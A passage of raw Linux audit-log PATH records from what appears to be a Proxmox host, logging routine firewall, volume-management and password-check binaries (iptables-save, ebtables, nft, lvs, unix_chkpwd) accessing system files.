nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665054,"@rawstring":"node=pve type=PATH msg=audit(1781964665.054:62037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665054,"@rawstring":"node=pve type=PATH msg=audit(1781964665.054:62037): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665048,"@rawstring":"node=pve type=PATH msg=audit(1781964665.048:62036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665048,"@rawstring":"node=pve type=PATH msg=audit(1781964665.048:62036): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665042,"@rawstring":"node=pve type=PATH msg=audit(1781964665.042:62035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665042,"@rawstring":"node=pve type=PATH msg=audit(1781964665.042:62035): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664578,"@rawstring":"node=pve type=PATH msg=audit(1781964664.578:62034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664578,"@rawstring":"node=pve type=PATH msg=audit(1781964664.578:62034): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664547,"@rawstring":"node=pve type=PATH msg=audit(1781964664.547:62033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664547,"@rawstring":"node=pve type=PATH msg=audit(1781964664.547:62033): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664130,"@rawstring":"node=pve type=PATH msg=audit(1781964664.130:62031): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664128,"@rawstring":"node=pve type=PATH msg=audit(1781964664.128:62030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664128,"@rawstring":"node=pve type=PATH msg=audit(1781964664.128:62030): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664091,"@rawstring":"node=pve type=PATH msg=audit(1781964664.091:62029): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664087,"@rawstring":"node=pve type=PATH msg=audit(1781964664.087:62028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664087,"@rawstring":"node=pve type=PATH msg=audit(1781964664.087:62028): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660512,"@rawstring":"node=pve type=PATH msg=audit(1781964660.512:62026): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660510,"@rawstring":"node=pve type=PATH msg=audit(1781964660.510:62025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660510,"@rawstring":"node=pve type=PATH msg=audit(1781964660.510:62025): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660471,"@rawstring":"node=pve type=PATH msg=audit(1781964660.471:62024): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660469,"@rawstring":"node=pve type=PATH msg=audit(1781964660.469:62023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660469,"@rawstring":"node=pve type=PATH msg=audit(1781964660.469:62023): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PATH msg=audit(1781964660.192:62022): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PATH msg=audit(1781964660.192:62022): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PATH msg=audit(1781964660.192:62021): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PATH msg=audit(1781964660.192:62020): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PATH msg=audit(1781964660.182:62019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PATH msg=audit(1781964660.182:62019): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PATH msg=audit(1781964660.182:62018): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PATH msg=audit(1781964660.182:62017): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656891,"@rawstring":"node=pve type=PATH msg=audit(1781964656.891:62015): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656887,"@rawstring":"node=pve type=PATH msg=audit(1781964656.887:62014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656887,"@rawstring":"node=pve type=PATH msg=audit(1781964656.887:62014): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656852,"@rawstring":"node=pve type=PATH msg=audit(1781964656.852:62013): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656848,"@rawstring":"node=pve type=PATH msg=audit(1781964656.848:62012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656848,"@rawstring":"node=pve type=PATH msg=audit(1781964656.848:62012): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656032,"@rawstring":"node=pve type=PATH msg=audit(1781964656.032:62011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656032,"@rawstring":"node=pve type=PATH msg=audit(1781964656.032:62011): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656029,"@rawstring":"node=pve type=PATH msg=audit(1781964656.029:62010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656029,"@rawstring":"node=pve type=PATH msg=audit(1781964656.029:62010): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=PATH msg=audit(1781964656.028:62009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=PATH msg=audit(1781964656.028:62009): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=PATH msg=audit(1781964656.028:62008): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=PATH msg=audit(1781964656.024:62007): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=PATH msg=audit(1781964656.024:62007): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=PATH msg=audit(1781964656.024:62007): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656019,"@rawstring":"node=pve type=PATH msg=audit(1781964656.019:62006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656019,"@rawstring":"node=pve type=PATH msg=audit(1781964656.019:62006): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656013,"@rawstring":"node=pve type=PATH msg=audit(1781964656.013:62005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656013,"@rawstring":"node=pve type=PATH msg=audit(1781964656.013:62005): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656006,"@rawstring":"node=pve type=PATH msg=audit(1781964656.006:62004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656006,"@rawstring":"node=pve type=PATH msg=audit(1781964656.006:62004): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656000,"@rawstring":"node=pve type=PATH msg=audit(1781964656.000:62003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656000,"@rawstring":"node=pve type=PATH msg=audit(1781964656.000:62003): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655995,"@rawstring":"node=pve type=PATH msg=audit(1781964655.995:62001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655995,"@rawstring":"node=pve type=PATH msg=audit(1781964655.995:62001): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655991,"@rawstring":"node=pve type=PATH msg=audit(1781964655.991:62000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655991,"@rawstring":"node=pve type=PATH msg=audit(1781964655.991:62000): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655985,"@rawstring":"node=pve type=PATH msg=audit(1781964655.985:61999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655985,"@rawstring":"node=pve type=PATH msg=audit(1781964655.985:61999): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655981,"@rawstring":"node=pve type=PATH msg=audit(1781964655.981:61998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655981,"@rawstring":"node=pve type=PATH msg=audit(1781964655.981:61998): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655975,"@rawstring":"node=pve type=PATH msg=audit(1781964655.975:61997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655975,"@rawstring":"node=pve type=PATH msg=audit(1781964655.975:61997): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655970,"@rawstring":"node=pve type=PATH msg=audit(1781964655.970:61996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655970,"@rawstring":"node=pve type=PATH msg=audit(1781964655.970:61996): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655964,"@rawstring":"node=pve type=PATH msg=audit(1781964655.964:61995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655964,"@rawstring":"node=pve type=PATH msg=audit(1781964655.964:61995): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655958,"@rawstring":"node=pve type=PATH msg=audit(1781964655.958:61994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655958,"@rawstring":"node=pve type=PATH msg=audit(1781964655.958:61994): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655955,"@rawstring":"node=pve type=PATH msg=audit(1781964655.955:61993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655955,"@rawstring":"node=pve type=PATH msg=audit(1781964655.955:61993): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655952,"@rawstring":"node=pve type=PATH msg=audit(1781964655.952:61992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655952,"@rawstring":"node=pve type=PATH msg=audit(1781964655.952:61992): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=PATH msg=audit(1781964655.951:61991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=PATH msg=audit(1781964655.951:61991): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=PATH msg=audit(1781964655.951:61990): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=PATH msg=audit(1781964655.947:61989): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=PATH msg=audit(1781964655.947:61989): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=PATH msg=audit(1781964655.947:61989): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655941,"@rawstring":"node=pve type=PATH msg=audit(1781964655.941:61988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655941,"@rawstring":"node=pve type=PATH msg=audit(1781964655.941:61988): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655934,"@rawstring":"node=pve type=PATH msg=audit(1781964655.934:61987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655934,"@rawstring":"node=pve type=PATH msg=audit(1781964655.934:61987): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655930,"@rawstring":"node=pve type=PATH msg=audit(1781964655.930:61986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655930,"@rawstring":"node=pve type=PATH msg=audit(1781964655.930:61986): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655922,"@rawstring":"node=pve type=PATH msg=audit(1781964655.922:61985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655922,"@rawstring":"node=pve type=PATH msg=audit(1781964655.922:61985): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655915,"@rawstring":"node=pve type=PATH msg=audit(1781964655.915:61984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655915,"@rawstring":"node=pve type=PATH msg=audit(1781964655.915:61984): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PATH msg=audit(1781964655.172:61983): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PATH msg=audit(1781964655.172:61983): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PATH msg=audit(1781964655.172:61982): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=PATH msg=audit(1781964655.172:61981): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN 